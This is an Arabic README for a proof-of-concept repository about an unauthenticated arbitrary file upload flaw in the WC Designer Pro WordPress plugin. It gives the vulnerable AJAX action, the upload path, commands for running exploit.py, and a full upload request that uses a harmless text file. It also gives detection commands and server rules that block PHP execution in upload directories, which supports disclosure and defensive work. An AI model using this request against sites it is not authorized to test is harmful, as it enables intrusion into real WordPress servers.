
استغلال تنفيذ أوامر عن بعد غير مصدق عليه للمكون الإضافي WC Designer Pro لووردبريس. يقوم بأتمتة الكشف ورفع الملفات والوصول إلى الصدفة عبر نقطة نهاية AJAX ضعيفة.
إثبات مفهوم غير مدمر لثغرة رفع ملفات تعسفي دون مصادقة تؤثر على إضافة WC Designer Pro لووردبريس.
تحتوي WC Designer Pro على ثغرة رفع ملفات تعسفي دون مصادقة في إجراء AJAX مكشوف عبر نقطة نهاية admin-ajax.php في ووردبريس.
يعالج المعالج المتأثر بيانات الملفات الوصفية ومحتوى الملفات المتحكم بها من قبل المستخدم دون فرض مصادقة أو تفويض أو تحقق من الامتدادات أو تحقق من أنواع MIME أو قيود على أسماء الملفات من جهة الخادم بشكل كافٍ.
في ظل الإعدادات الهشة، قد يتمكن مهاجم غير مصادق من رفع ملف قابل للتنفيذ من جهة الخادم إلى دليل يمكن الوصول إليه عبر الويب. وقد يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بصلاحيات عملية خادم الويب.
لا يجوز نشر النطاق الدقيق للإصدارات المتأثرة أو معرّف CVE أو درجة CVSS إلا بعد التحقق منها بشكل مستقل.
قد يسمح الاستغلال الناجح لمهاجم غير مصادق بما يلي:
يعتمد الأثر النهائي على إعداد خادم الويب وقواعد تنفيذ PHP وصلاحيات نظام الملفات والضوابط الأمنية التي يوفرها مزوّد الاستضافة.
نطاق الإصدارات المتأثرة قيد التحقق حالياً.
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
لا تدّعِ أن كل الإصدارات متأثرة ما لم تدعم الاختبارات أو تأكيد البائع هذا الاستنتاج.
يبدو أن مسار الرفع الهش يثق بالقيم التي يتحكم بها المهاجم والممرّرة إلى إجراء AJAX التالي:
wcdp_save_canvas_design_ajax
يحتوي الطلب على بيانات وصفية للملف مثل:
توجد الثغرة عندما يقبل الخادم هذه القيم دون تنفيذ جميع الضوابط التالية:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
يتبع مسار الرفع الملحوظ هذا البنية:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
قد يختلف المسار الدقيق حسب إصدار الإضافة وإعداد ووردبريس وبيئة الخادم.
pipيجب ألا يُستخدم إثبات المفهوم هذا ضد أنظمة طرف ثالث دون إذن كتابي صريح.
استنساخ المستودع:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
إنشاء وتفعيل بيئة افتراضية:
python3 -m venv .venv
source .venv/bin/activate
على ويندوز:
python -m venv .venv
.venv\Scripts\Activate.ps1
تثبيت التبعيات:
pip install -r requirements.txt
مثال requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
يجب تنفيذ إثبات المفهوم فقط ضد هدف مختبر مصرح به واحد.
python3 exploit.py --url https://wordpress-lab.example
لإجراء تحقق غير مدمر:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
ملف تحقق مثال:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
استخدم أمر المساعدة المدمج لعرض الوسائط المدعومة:
python3 exploit.py --help
مثال على المخرجات:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
يستدعي الطلب:
action=wcdp_save_canvas_design_ajax
يُعرض أدناه بنية طلب مبسّطة:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
يستخدم هذا المثال عمداً ملفاً نصياً غير قابل للتنفيذ.
قد يعيد الطلب الناجح استجابة مشابهة لما يلي:
{
"userID": false,
"filesCMYK": [],
"success": true
}
الاستجابة الناجحة وحدها لا تثبت تنفيذ تعليمات برمجية عن بُعد. يجب على الباحث تأكيد ما يلي بشكل منفصل:
الإجراء الموصى به للتحقق هو:
.txt غير ضار.تجنب رفع ويب شل أو حمولات تنفيذ أوامر عندما يكون ملف علامة غير ضار كافياً لإظهار الثغرة.
يجب أن يحتوي التقرير الصحيح على:
يجب على المسؤولين فحص الدليل التالي:
/wp-content/uploads/wcdp-uploads/temp/
تشمل المؤشرات المحتملة:
.php أو .phtml أو .phar أو ملفات قابلة للتنفيذ مماثلة غير متوقعة.admin-ajax.php تستخدم إجراء AJAX المتأثر.مثال على البحث في السجلات:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
مثال على البحث في نظام الملفات:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
ينبغي على مسؤولي المواقع:
بالنسبة لـ Nginx، امنع تنفيذ PHP داخل أدلة الرفع:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
بالنسبة لـ Apache، ضع قاعدة مناسبة داخل دليل الرفع:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
هذه الضوابط إجراءات دفاع في العمق ولا تغني عن إصلاح كود الإضافة الهش.
يجب على مطوّري الإضافة:
current_user_can().wp_check_filetype_and_ext().هذا المستودع مخصص حصرياً لـ:
لا تستخدم هذا الكود للوصول إلى أنظمة أو تعديلها أو تعطيلها أو اختراقها دون إذن صريح.
المؤلف غير مسؤول عن أي استخدام غير مصرح به أو غير قانوني أو مسيء لهذه المادة. يتحمل المستخدمون وحدهم مسؤولية الامتثال للقوانين والعقود وقواعد الاشتباك ومتطلبات الإفصاح المنسق عن الثغرات المعمول بها.
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
لا تنشر CVE مؤقتاً (placeholder) كما لو كان معرّفاً معيّناً.
عند تعيين CVE، استبدل العنصر المؤقت بالسجل الرسمي:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
يجب أن يقلل البحث الأمني من المخاطر، لا أن يخلقها.
أُعدّ لاختبارات أمنية مصرح بها بواسطة m2hcz.
| الخاصية | القيمة |
|---|
| المنتج | WC Designer Pro |
| المنصة | WordPress |
| فئة الثغرة | رفع ملفات تعسفي غير مقيد |
| CWE | CWE-434 |
| المصادقة مطلوبة | لا |
| تفاعل المستخدم مطلوب | لا |
| الأثر المحتمل | تنفيذ تعليمات برمجية عن بُعد |
| تعقيد الهجوم | منخفض |
| المكوّن المتأثر | معالج رفع ملفات AJAX في ووردبريس |
| إجراء AJAX | wcdp_save_canvas_design_ajax |